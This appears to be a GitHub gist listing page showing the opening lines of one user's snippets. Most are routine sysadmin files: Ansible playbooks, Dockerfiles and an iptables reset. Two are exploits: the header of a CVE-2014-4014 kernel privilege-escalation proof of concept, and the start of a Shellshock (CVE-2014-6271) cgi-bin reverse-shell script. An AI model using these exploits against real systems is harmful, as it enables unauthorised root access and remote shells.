Skip to content

Instantly share code, notes, and snippets.

View infoslack's full-sized avatar
🏠
Working from home

Daniel Romero infoslack

🏠
Working from home
View GitHub Profile
@infoslack
infoslack / main.yml
Last active August 29, 2015 14:01
Example Ansible Playbook install Ruby - variables
---
- name: Add the key used to Ruby pkg
apt_key: url={{ ruby_url }} state=present
- name: Add repos for Ruby install
copy: src=hellobits.list dest=/etc/apt/sources.list.d/
- name: Install Ruby
apt: name={{ ruby_version }} update_cache=yes
@infoslack
infoslack / main.yml
Created May 21, 2014 02:35
Example Ansible Playbook install Ruby - tags
---
- name: Add the key used to Ruby pkg
apt_key: url={{ ruby_url }} state=present
- name: Add repos for Ruby install
copy: src=hellobits.list dest=/etc/apt/sources.list.d/
- name: Install Ruby
apt: name={{ ruby_version }} update_cache=yes
tags: ruby
@infoslack
infoslack / common.yml
Created May 21, 2014 02:38
Example Ansible Playbook - loops
---
- name: Install extra packages
apt: name={{ item }} state=present
with_items:
- build-essential
- libyaml-dev
- libssl-dev
- git
- ufw
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -L -n
@infoslack
infoslack / local-exploit.c
Created June 22, 2014 01:38
CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/**
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
*
* Vitaly Nikolenko
* http://hashcrack.org
*
* Usage: ./poc [file_path]
*
* where file_path is the file on which you want to set the sgid bit
*/
@infoslack
infoslack / Dockerfile
Last active October 21, 2016 00:50
Dockfile Nginx
# Set the base image to Ubuntu
FROM ubuntu
# Update the repository
RUN apt-get update
# Install necessary tools
RUN apt-get install -y wget net-tools build-essentials
# Download and Install Nginx
@infoslack
infoslack / lxc-rs.sh
Last active August 29, 2015 14:06
LXC: ressources statistics
#!/bin/bash
# https://blog.deimos.fr/2014/06/16/lxc-ressources-statistics/
for i in * ; do
if [ -d $i ] ; then
echo "===== $i ====="
echo "CPU, cap: " $(cat /sys/fs/cgroup/lxc/$i/cpuset.cpus)
echo "CPU, shares: " $(cat /sys/fs/cgroup/lxc/$i/cpu.shares)
awk '{ printf "RAM, limit usage: %sM\n", $1/ 1024/1024 }' /sys/fs/cgroup/lxc/$i/memory.limit_in_bytes
awk '{ printf "RAM+SWAP, limit usage: %sM\n", $1/ 1024/1024 }' /sys/fs/cgroup/lxc/$i/memory.memsw.limit_in_bytes
@infoslack
infoslack / loop2jack.sh
Created September 11, 2014 05:01
Loop for jack audio
#!/bin/sh
#
# script loop2jack, located in /usr/local/bin
#
# Start jack if it is not already running:
/usr/bin/jack_control start
# loop client creation
/usr/bin/alsa_out -j ploop -dploop -q 1 2>&1 1> /dev/null &
/usr/bin/alsa_in -j cloop -dcloop -q 1 2>&1 1> /dev/null &
# give it some time before connecting to system ports
@infoslack
infoslack / cve-2014-6271.py
Last active April 5, 2019 14:45
CVE-2014-6271 cgi-bin reverse shell
# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
import httplib,urllib,sys
if (len(sys.argv)<3):
print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
@infoslack
infoslack / Dockerfile
Created October 8, 2014 05:26
Demo Docker on Rails
FROM ubuntu:trusty
# Update the repository
RUN apt-get update
# Install necessary tools
RUN apt-get install -y wget net-tools build-essential git
# Setup Install Nginx
RUN wget -q -O - http://nginx.org/keys/nginx_signing.key | apt-key add -